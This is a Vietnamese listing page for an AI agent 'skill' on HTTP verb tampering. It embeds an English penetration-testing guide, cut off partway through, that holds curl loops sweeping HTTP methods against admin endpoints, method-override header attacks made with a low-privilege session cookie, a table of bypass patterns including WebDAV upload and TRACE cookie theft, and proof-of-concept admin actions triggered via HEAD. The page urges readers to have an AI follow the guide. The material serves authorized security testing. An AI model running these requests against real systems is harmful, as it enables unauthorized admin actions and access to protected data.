Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14083

verb-tampering

Skill này làm gì

Skill này giải thích cách quy tắc truy cập có thể bị vượt qua bằng cách đổi phương thức HTTP của yêu cầu. Dành cho người kiểm thử bảo mật kiểm tra xem các trang được bảo vệ có phản hồi với phương thức bất thường không.

Khi nào nên dùng

  • ✓Khi một trang được bảo vệ chặn GET hoặc POST và bạn muốn kiểm tra xem các phương thức khác có lọt qua không.
  • ✓Khi máy chủ hỗ trợ header ghi đè phương thức mà tường lửa có thể không kiểm tra.
  • ✓Khi một rà soát bảo mật hỏi liệu tất cả phương thức HTTP có tuân theo cùng quy tắc truy cập không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem trang quản trị của tôi có thể được truy cập bằng cách gửi một phương thức HTTP khác không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi cùng một yêu cầu với các phương thức khác như HEAD, OPTIONS, PUT hoặc một động từ tự đặt, rồi so sánh kết quả để xem kiểm tra truy cập có bị bỏ qua không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

HTTP Verb / Method Tampering

Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.

1. Why it works

  • Apache/nginx Limit/LimitExcept rules in .htaccess often list only GET POST. Any other verb is unrestricted.
  • Tomcat / JSP <security-constraint><http-method>GET</http-method> only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family).
  • API gateways enforce method-specific policies; the upstream service treats verbs identically.
  • Spring @RequestMapping without method= accepts every verb. @GetMapping/@PostMapping constrain, but generic mappings do not.
  • Express.js app.all(path, handler) answers every method.
  • Framework method-override middleware (methodOverride in Express, Rails _method=DELETE, X-HTTP-Method-Override in many) lets a POST become a DELETE after auth runs.
  • Many WAFs ship rule sets keyed on GET/POST only.

2. Detection — does the endpoint answer non-standard verbs?

# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
  code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
  printf '%-10s -> %s\n' "$m" "$code"
done

# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
  curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.

HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.

# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"

3. Method-override headers

The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).

# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
  curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
    -o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done

# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=DELETE' -b "session=$LOWPRIV"

# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"

4. Bypass patterns

Pattern Mechanic
.htaccess Limit <Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb.
Tomcat <http-method> constraint The constraint applies only to listed methods. Use any other.
Spring generic @RequestMapping("/path") Every verb routes here. Author meant only POST.
Express app.all / no method-guard Same.
Method-override after auth POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades.
_method=PATCH body field Rails/Laravel/Symfony idiom; the auth layer saw a POST.
WAF gating on GET/POST only Send the payload as PATCH or FOO.
TRACE/TRACK enabled XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains.
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache Direct file upload / RCE on misconfigured WebDAV.
OPTIONS * Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/*

5. Exploit PoCs

5.1 Admin action via HEAD bypass

# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"

5.2 Method-override DELETE

# Low-priv us
Câu hỏi thường gặp

X-HTTP-Method-Override là gì?

Đó là header mà một số framework dùng để coi POST như một phương thức khác, điều này có thể lách qua các quy tắc chỉ kiểm tra phương thức gốc.

Vì sao cấu hình Tomcat quan trọng ở đây?

Skill lưu ý rằng một số quy tắc bảo mật của Tomcat chỉ giới hạn các động từ được liệt kê, nên các động từ khác có thể không bị hạn chế.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Đây là skill kiểm thử bảo mật và chỉ nên dùng trên hệ thống mà bạn có quyền kiểm thử.

Chi tiết

Mô tả gốc của tác giả

HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14083
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự